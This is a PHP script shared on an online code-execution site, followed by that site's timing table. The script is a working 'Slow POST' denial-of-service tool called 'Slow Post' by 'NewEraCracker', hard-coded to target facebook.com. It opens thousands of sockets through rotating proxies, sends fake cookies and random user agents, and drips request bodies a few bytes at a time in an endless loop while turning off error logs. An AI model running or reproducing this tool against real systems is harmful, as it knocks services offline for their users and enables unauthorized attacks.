@ 2013-07-18T14:58:49Z <?php
$_SERVER['argv'][1] = 'http://www.facebook.com/';
//-------------------------
// CONFiG
//-------------------------
$CONFIG['max_cookies'] = 10;
$CONFIG['max_sockets'] = 9001;
$CONFIG['timeout_ms'] = 500;
//-------------------------
// INiT
//-------------------------
// Check PHP Version
if(version_compare(PHP_VERSION, '5.0.4') < 0) { exitWithError('This script only supports PHP 5.0.4 and higher.'); }
// Define exploit version
if(!defined('EXPLOIT_VERSION')) { define('EXPLOIT_VERSION', 'v4.1.3'); }
// Define input stream
if(!defined('STDIN')) { define('STDIN', fopen('php://stdin', 'r')); }
//-------------------------
// FUNCTIONS
//-------------------------
/** Read STDIN and return it */
function readSTDIN($message) {
echo PHP_EOL.$message.' : ';
return trim(fgets(STDIN));
}
/** Exit with error message */
function exitWithError($message) {
echo '[ERROR] '.$message;
exit(1);
}
/** Returns a random useragent */
function randomUserAgent() {
$os1 = mt_rand(5, 6); /* Random major Windows version */
$os2 = mt_rand(0, 2); /* Random minor Windows version */
$ffv = mt_rand(17, 22); /* Random major Firefox version */
return "Mozilla/5.0 (Windows NT {$os1}.{$os2}; rv:{$ffv}.0) Gecko/20100101 Firefox/{$ffv}.0";
}
/** Build stream context or header for connection */
function buildStreamContext($newEraUrl, $newEraProxy, $method='GET', $length='0', $cookie='', $just_header=false)
{
// Init
$proxy = $newEraProxy ? $newEraProxy->full_url : '';
$fulluri = ($newEraProxy && !$newEraUrl->ssl) ? true : false;
$header = '';
// When we return header, set the GET/POST line
if($just_header)
$header .= $method.' '.($fulluri ? $newEraUrl->full_url : $newEraUrl->path).' HTTP/1.1'."\r\n";
// Continue building the header
$header .= 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
if($method == 'POST') {
$header .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n";
$header .= mt_rand(0, 1) ? 'Referer: '.$newEraUrl->full_url."\r\n" : '';
$header .= ($cookie ? "Cookie: {$cookie}\r\n" : '');
$header .= "Content-Length: {$length}\r\n";
}
// When we return header, return it with an extra EOL for termination
if($just_header)
return $header."\r\n";
// Build stream context
$context = stream_context_create(array(
'http' => array(
'method' => $method,
'timeout' => (2),
'header' => $header,
'proxy' => $proxy,
'request_fulluri' => $fulluri,
'max_redirects' => (0),
'protocol_version' => (1.1),
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false
)));
return $context;
}
/** Start slowPost */
function slowPostStart($newEraUrl, $newEraProxy, $cookie) {
$obj = ($newEraProxy ? $newEraProxy : $newEraUrl);
$host = ($obj->ssl ? 'ssl://' : 'tcp://').$obj->name;
// Connect
if($socket = @fsockopen($host, $obj->port, $errno, $errstr, 2)) {
// Generate random Content-Length
$length = mt_rand(1337, 133700);
if($newEraProxy && $newEraUrl->ssl) {
// We must enable crypto when using a proxy and url with ssl
$header = 'CONNECT '.$newEraUrl->name.':'.$newEraUrl->port."\r\n";
$header .= 'Host: '.$newEraUrl->name.':'.$newEraUrl->port."\r\n";
$header .= 'Proxy-Connection: Keep-Alive'."\r\n\r\n";
@fwrite($socket, $header);
do { $s = trim(@fread($socket, 8192)); } while($s);
@stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_SSLv3_CLIENT);
}
// Send header
if(@fwrite($socket, buildStreamContext($newEraUrl, $newEraProxy, 'POST', $length, $cookie, true))) {
// Set the socket to be asynchronous
stream_set_blocking($socket, 0);
stream_set_timeout($socket, 0, $GLOBALS['CONFIG']['timeout_ms']);
// Return socket and the length remaining
return array('socket' => $socket, 'length' => $length);
}
}
return false;
}
/** Continue slowPost */
function slowPostContinue($socket, $bytes = 5) {
// Sanity check
if(!$socket)
return false;
// Do it
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = substr(str_shuffle($str), 0, $bytes);
return @fwrite($socket, $str);
}
//-------------------------
// CLASSES
//-------------------------
/** Class to construct and handle cookie-like object */
class NewEraCookie {
private $max_cookies;
private $cookies = array();
/** Constructor */
public function __construct($newEraUrl, $newEraMultipleProxy) {
$this->update_object($newEraUrl, $newEraMultipleProxy);
}
/** Object updater */
public function update_object($newEraUrl, $newEraMultipleProxy) {
$this->max_cookies = $GLOBALS['CONFIG']['max_cookies'];
$this->cookies = array();
for($i = 0; $i < $this->max_cookies; $i++) {
if($newEraMultipleProxy) {
$this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraMultipleProxy->fetch());
} else {
$this->cookies[$i] = self::cookieGrab($newEraUrl);
}
}
}
/** Returns a cookie by its index */
public function returnRandomCookie() {
$key = mt_rand(0, $this->max_cookies - 1);
return (isset($this->cookies[$key]) ? $this->cookies[$key] : '');
}
/** Function to parse set-cookie from header fields */
public static function cookieParse($header) {
$cookies = array();
foreach($header as $line) {
if(stripos($line, 'Set-Cookie:') === 0) {
$line = trim(str_ireplace('Set-Cookie:', '', $line));
$csplit = explode(';', $line);
$cdata = array();
$grabbed_cookie_data = false;
foreach($csplit as $data) {
$cinfo = explode('=', $data);
$cinfo[0] = trim($cinfo[0]);
if(!$grabbed_cookie_data) {
$cdata['value']['key'] = $cinfo[0];
$cdata['value']['value'] = $cinfo[1];
$grabbed_cookie_data = true;
continue;
}
$cinfo[0] = strtolower($cinfo[0]);
if($cinfo[0] == 'expires') $cinfo[1] = @strtotime($cinfo[1]);
if($cinfo[0] == 'secure') $cinfo[1] = 'true';
if(in_array($cinfo[0], array('domain', 'expires', 'path', 'secure', 'comment'))) {
$cdata[$cinfo[0]] = $cinfo[1];
}
}
$cookies[] = $cdata;
}
}
return $cookies;
}
/** Function to build the request cookie header from parsed set-cookie data */
public static function cookieBuild($data) {
if(is_array($data)) {
$cookie = array();
foreach($data as $d)
$cookie[] = $d['value']['key'].'='.$d['value']['value'];
if(count($cookie) > 0)
return trim(implode('; ', $cookie));
}
return false;
}
/** Function to grab cookies from an url using PHP's fopen */
public static function cookieGrab($newEraUrl, $newEraProxy = null) {
$cookie = '';
$handle = @fopen($newEraUrl->full_url, 'r', false, buildStreamContext($newEraUrl, $newEraProxy, 'GET'));
// I hope this does work
if($handle) {
// Grab the cookies
$metadata = stream_get_meta_data($handle);
$cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data']));
@fclose($handle);
}
return $cookie;
}
}
/** Class to construct and handle proxy-like object */
class NewEraProxy {
private $proxy_full_url;
private $proxy_name;
private $proxy_port;
/** Constructor */
public function __construct($url) {
$this->update_object($url);
}
/** Object updater */
public function update_object($url) {
if(FALSE !== ($tmp = strpos($url, '://'))) {
$tmp += 3;
$url = substr($url, $tmp);
}
$url = explode(':', $url);
// Proxy: Name, port and full URL
$this->proxy_name = $url[0];
$this->proxy_port = (int)(isset($url[1]) ? $url[1] : '8080');
$this->proxy_full_url = 'tcp://'.$this->proxy_name.':'.$this->proxy_port;
}
/** Getter for the private properties */
public function __get($var) {
$var = 'proxy_'.$var;
if(isset($this->{$var}))
return $this->{$var};
}
}
/** Class to construct and handle url-like object */
class NewEraUrl {
/** MD5 to allow object identification */
private $host_obj_md5;
/** Other parameters */
private $host_full_url;
private $host_protocol;
private $host_ssl;
private $host_name;
private $host_port;
private $host_path;
/** Constructor */
public function __construct($url) {
$this->update_object($url);
}
/** Object updater */
public function update_object($url) {
// Save MD5 identifier and full URL
$this->host_obj_md5 = md5($url);
$this->host_full_url = $url;
// URL: SSL and protocol
$this->host_ssl = (strpos($url, 'https') === 0) ? true : false;
$this->host_protocol = ($this->host_ssl ? 'https' : 'http');
$url = explode('/', $url, 4);
$url[2] = explode(':', $url[2], 2);
// URL: Name, port and path
$this->host_name = $url[2][0];
$this->host_port = (isset($url[2][1]) ? $url[2][1] : ($this->host_ssl ? 443 : 80));
$this->host_path = '/'.(isset($url[3]) ? $url[3] : '');
}
/** Getter for the private properties */
public function __get($var) {
$var = 'host_'.$var;
if(isset($this->{$var}))
{
// Random support
$str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = substr(str_shuffle($str), 0, 8);
// Return string with random generated content
return str_replace('%rand%', $str, $this->{$var});
}
}
/** Quick check to see if url is minimally valid */
public static function isValid($url) {
if(strpos($url, 'https://') === 0) {
if(!extension_loaded('openssl')) { exitWithError('OpenSSL extension is not loaded - Unable to access HTTPS URL.'); }
return true;
} else if(strpos($url, 'http://') === 0) {
return true;
}
return false;
}
}
/** Class to construct and handle multiple cookie-like objects */
class NewEraMultipleCookie {
private $newEraCookie_array = array();
public function __construct($newEraMultipleUrl, $newEraMultipleProxy) {
// Reset internal object array pointers
$newEraMultipleUrl->reset();
if($newEraMultipleProxy) {
$newEraMultipleProxy->reset();
}
// Build each cookie object
for($i = 0; $i < $newEraMultipleUrl->number(); $i++) {
$newEraUrl = $newEraMultipleUrl->fetch();
$this->newEraCookie_array[$newEraUrl->obj_md5] = new NewEraCookie($newEraUrl, $newEraMultipleProxy);
}
}
public function fetch($newEraUrl) {
if(isset($this->newEraCookie_array[$newEraUrl->obj_md5])) {
return $this->newEraCookie_array[$newEraUrl->obj_md5];
} else {
// No cookie is defined at all
return null;
}
}
}
/** Class to construct and handle multiple proxy-like objects */
class NewEraMultipleProxy {
private $newEraProxy_array = array();
private $newEraProxy_idx = -1;
public function __construct($arg) {
$grabbed = false;
if($proxy = explode(':', $arg)) {
// Attempt to grab a single proxy
if(isset($proxy[0], $proxy[1])) {
$proxy[1] = (int)$proxy[1];
if(!empty($proxy[1])) {
$grabbed = true;
$this->newEraProxy_array[] = new NewEraProxy($proxy[0].':'.$proxy[1]);
}
}
}
if((!$grabbed) && is_readable($arg)) {
// Build from file
if($content = @file($arg)) {
foreach($content as $proxy) {
$proxy = explode(':', trim($proxy));
if(isset($proxy[0], $proxy[1])) {
$proxy[1] = (int)$proxy[1];
if(!empty($proxy[1])) {
$grabbed = true;
$this->newEraProxy_array[] = new NewEraProxy($proxy[0].':'.$proxy[1]);
}
}
}
} else { exitWithError($arg.' is not a valid proxy-list file!'); }
}
}
public function number() {
return count($this->newEraProxy_array);
}
public function reset() {
$this->newEraProxy_idx = -1;
}
public function fetch() {
$this->newEraProxy_idx++;
if(isset($this->newEraProxy_array[$this->newEraProxy_idx])) {
return $this->newEraProxy_array[$this->newEraProxy_idx];
} else {
$this->newEraProxy_idx = 0;
if(isset($this->newEraProxy_array[$this->newEraProxy_idx])) {
return $this->newEraProxy_array[$this->newEraProxy_idx];
} else {
// No proxy is defined at all
return null;
}
}
}
}
/** Class to construct and handle multiple url-like objects */
class NewEraMultipleUrl {
private $newEraUrl_array = array();
private $newEraUrl_idx = -1;
public function __construct($args) {
$args = explode('|', $args);
foreach($args as $url) {
if(NewEraUrl::isValid($url)) {
$this->newEraUrl_array[] = new NewEraUrl($url);
} else { exitWithError($url.' is not a valid target!'); }
}
}
public function number() {
return count($this->newEraUrl_array);
}
public function reset() {
$this->newEraUrl_idx = -1;
}
public function fetch() {
$this->newEraUrl_idx++;
if(isset($this->newEraUrl_array[$this->newEraUrl_idx])) {
return $this->newEraUrl_array[$this->newEraUrl_idx];
} else {
$this->newEraUrl_idx = 0;
if(isset($this->newEraUrl_array[$this->newEraUrl_idx])) {
return $this->newEraUrl_array[$this->newEraUrl_idx];
} else {
// No URL is defined at all
return null;
}
}
}
}
//-------------------------
// MAiN CODE FOR THE LULZ
//-------------------------
if(PHP_SAPI != 'cli') {
// Send header if not using CLI PHP
header('Content-Type: text/plain');
}
echo "
_______. __ ______ ____ __ ____
/ || | / __ \ \ \ / \ / /
| (----`| | | | | | \ \/ \/ /
\ \ | | | | | | \ /
.----) | | `----.| `--' | \ /\ /
|_______/ |_______| \______/ \__/ \__/
.______ ______ _______.___________.
| _ \ / __ \ / | |
| |_) | | | | | | (----`---| |----`
| ___/ | | | | \ \ | |
| | | `--' | .----) | | |
| _| \______/ |_______/ |__|
".PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL;
if(PHP_SAPI != 'cli') {
// Check if input is set if not using CLI PHP
if(!isset($_SERVER['argv'][1]) || !NewEraUrl::isValid($_SERVER['argv'][1])) {
exitWithError('This script is not meant to be ran via browser.');
}
}
// We seem to be running this in a quite good fashion
@set_time_limit(0);
@ini_set('error_log','');
@ini_set('log_errors',0);
@ignore_user_abort(true);
// Fetch the URL to attack and the proxy to use
$url = $proxy = null;
if(isset($_SERVER['argv'][1])) {
$url = $_SERVER['argv'][1];
$proxy = (isset($_SERVER['argv'][2]) ? $_SERVER['argv'][2] : null);
}
// Interactive Run
if(empty($url)) {
// Ask for proxy
do {
switch($tmp = strtolower(substr(readSTDIN('Do you want to use a proxy [yes/no/file]'), 0, 1))) {
case 'n':
break;
case 'y':
$proxy = readSTDIN('Proxy IP');
$proxy .= ':';
$proxy .= (int)(readSTDIN('Proxy port'));
break;
case 'f':
$proxy = readSTDIN('Proxy file');
if(!is_readable($proxy)) {
echo PHP_EOL.'Invalid file!'.PHP_EOL;
$tmp = null;
}
break;
default:
echo PHP_EOL.'Invalid choice!'.PHP_EOL;
$tmp = null;
break;
}
} while(!$tmp);
// Ask for target URL
do {
$url = readSTDIN('Target url');
if(!NewEraUrl::isValid($url)) {
echo PHP_EOL.'Invalid target!'.PHP_EOL;
$url = null;
}
} while(!$url);
}
// Start
$conn = array();
echo PHP_EOL.'IMMA FIRIN MAH LAZOR ';
$newEraMultipleProxy = (empty($proxy) ? null : (new NewEraMultipleProxy($proxy)));
$newEraMultipleUrl = new NewEraMultipleUrl($url);
$newEraMultipleCookie = new NewEraMultipleCookie($newEraMultipleUrl, $newEraMultipleProxy);
// Do it
while(1) {
for($i = 0; $i < $CONFIG['max_sockets']; $i++) {
$newEraUrl = $newEraMultipleUrl->fetch();
$newEraCookie = $newEraMultipleCookie->fetch($newEraUrl);
$newEraProxy = ($newEraMultipleProxy ? $newEraMultipleProxy->fetch() : null);
// Open a new socket
if($tmp = slowPostStart($newEraUrl, $newEraProxy, $newEraCookie->returnRandomCookie())) {
if(isset($conn[$i], $conn[$i]['socket'])) {
// Close an opened connection
@fclose($conn[$i]['socket']);
unset($conn[$i]);
}
// Save the new connection
$conn[$i] = $tmp;
// Progress bar
echo '.';
}
// Check the current slowPosts
foreach($conn as $k => $v) {
if($conn[$k]['socket'] && ($conn[$k]['length'] > 0)) {
// Contine current
$tmp = ($conn[$k]['length'] < 5) ? $conn[$k]['length'] : 5;
slowPostContinue($conn[$k]['socket'], $tmp);
$conn[$k]['length'] -= $tmp;
} else {
// Close completed
@fclose($conn[$k]['socket']);
unset($conn[$k]);
}
}
}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.3.7 0.700 1.303 17.25 8.3.6 0.840 1.164 18.93 8.3.5 0.694 1.306 22.03 8.3.4 0.634 1.371 19.17 8.3.3 0.746 1.256 19.85 8.3.2 0.736 1.266 20.96 8.3.1 0.693 1.309 23.86 8.3.0 0.673 1.330 19.63 8.2.18 0.706 1.304 18.66 8.2.17 0.742 1.258 22.96 8.2.16 0.723 1.280 20.60 8.2.15 0.656 1.346 24.18 8.2.14 0.723 1.279 24.66 8.2.13 0.749 1.252 26.16 8.2.12 0.640 1.363 22.39 8.2.11 0.589 1.412 21.16 8.2.10 0.560 1.444 18.34 8.2.9 0.331 1.679 19.67 8.2.8 0.337 1.667 18.25 8.2.7 0.258 1.753 18.13 8.2.6 0.280 1.721 18.43 8.2.5 0.249 1.748 18.13 8.2.4 0.236 1.764 18.84 8.2.3 0.323 1.677 18.59 8.2.2 0.273 1.725 18.39 8.2.1 0.303 1.700 18.63 8.2.0 0.284 1.723 18.39 8.1.28 0.703 1.298 25.92 8.1.27 0.799 1.202 22.50 8.1.26 0.816 1.186 26.35 8.1.25 0.719 1.282 28.09 8.1.24 0.610 1.394 22.87 8.1.23 0.559 1.442 18.04 8.1.22 0.263 1.738 18.16 8.1.21 0.307 1.697 18.77 8.1.20 0.332 1.665 17.73 8.1.19 0.293 1.709 17.73 8.1.18 0.293 1.708 18.10 8.1.17 0.280 1.723 18.93 8.1.16 0.334 1.673 22.43 8.1.15 0.263 1.738 19.12 8.1.14 0.300 1.702 18.00 8.1.13 0.270 1.731 18.34 8.1.12 0.317 1.686 17.88 8.1.11 0.267 1.737 17.97 8.1.10 0.310 1.692 17.89 8.1.9 0.260 1.742 17.88 8.1.8 0.290 1.713 17.87 8.1.7 0.247 1.757 17.84 8.1.6 0.257 1.746 18.11 8.1.5 0.263 1.738 18.02 8.1.4 0.256 1.746 17.99 8.1.3 0.243 1.760 18.02 8.1.2 0.257 1.747 18.05 8.1.1 0.250 1.756 18.03 8.1.0 0.266 1.735 17.96 8.0.30 0.277 1.727 18.77 8.0.29 0.287 1.716 17.13 8.0.28 0.286 1.713 18.84 8.0.27 0.233 1.769 17.77 8.0.26 0.276 1.724 17.38 8.0.25 0.243 1.759 17.41 8.0.24 0.339 1.661 17.31 8.0.23 0.263 1.738 17.49 8.0.22 0.253 1.750 17.20 8.0.21 0.300 1.703 17.34 8.0.20 0.263 1.740 17.42 8.0.19 0.276 1.724 17.41 8.0.18 0.193 1.809 17.33 8.0.17 0.223 1.779 17.37 8.0.16 0.260 1.742 17.23 8.0.15 0.253 1.748 17.30 8.0.14 0.217 1.785 17.29 8.0.13 0.190 1.811 13.97 8.0.12 1.284 0.685 17.39 8.0.11 1.166 0.781 17.33 8.0.10 1.262 0.688 17.39 8.0.9 1.174 0.775 17.30 8.0.8 1.278 0.663 17.39 8.0.7 1.260 0.692 17.40 8.0.6 1.276 0.665 17.34 8.0.5 1.209 0.739 17.42 8.0.3 1.409 0.543 17.55 8.0.2 1.421 0.545 17.43 8.0.1 1.261 0.687 17.43 8.0.0 1.401 0.569 17.27 7.4.33 0.315 1.680 15.40 7.4.32 0.296 1.705 16.84 7.4.30 0.307 1.696 16.82 7.4.29 0.287 1.717 16.93 7.4.28 0.227 1.776 16.85 7.4.27 0.246 1.756 16.76 7.4.26 0.240 1.764 16.68 7.4.25 1.200 0.744 16.83 7.4.24 1.268 0.684 16.86 7.4.23 1.269 0.681 17.02 7.4.22 1.269 0.681 17.00 7.4.21 1.239 0.708 16.97 7.4.20 1.190 0.775 16.87 7.4.19 1.141 0.807 16.83 7.4.16 1.455 0.515 16.98 7.4.15 1.401 0.566 17.40 7.4.14 1.398 0.568 17.86 7.4.13 1.385 0.573 17.03 7.4.12 1.350 0.607 16.99 7.4.11 1.436 0.621 16.98 7.4.10 1.491 0.605 16.86 7.4.9 1.419 0.657 16.85 7.4.8 1.344 0.674 19.39 7.4.7 1.380 0.658 16.95 7.4.6 1.353 0.672 16.89 7.4.5 1.300 0.727 16.96 7.4.4 1.399 0.680 22.77 7.4.3 1.387 0.650 16.79 7.4.0 1.469 0.551 15.36 7.3.33 0.233 1.768 13.84 7.3.32 0.315 1.677 13.83 7.3.31 1.173 0.775 16.97 7.3.30 1.223 0.727 16.67 7.3.29 1.221 0.727 16.74 7.3.28 1.280 0.647 16.82 7.3.27 1.411 0.551 17.40 7.3.26 1.450 0.518 16.87 7.3.25 1.293 0.518 16.92 7.3.24 1.350 0.603 16.86 7.3.23 1.468 0.590 16.93 7.3.21 1.448 0.628 16.87 7.3.20 1.378 0.644 19.39 7.3.19 1.343 0.612 16.78 7.3.18 1.340 0.687 17.03 7.3.17 1.384 0.655 17.05 7.3.16 1.351 0.674 16.77 7.3.12 1.381 0.639 15.33 7.2.33 1.438 0.660 17.20 7.2.32 1.371 0.665 16.96 7.2.31 1.334 0.691 17.14 7.2.30 1.366 0.677 17.16 7.2.29 1.305 0.702 17.23 7.1.10 1.748 0.703 18.15 7.1.7 0.004 0.011 17.50 7.1.6 0.007 0.018 19.33 7.1.5 0.000 0.024 17.32 7.0.20 0.006 0.003 17.00
preferences:dark mode live preview
51.19 ms | 401 KiB | 5 Q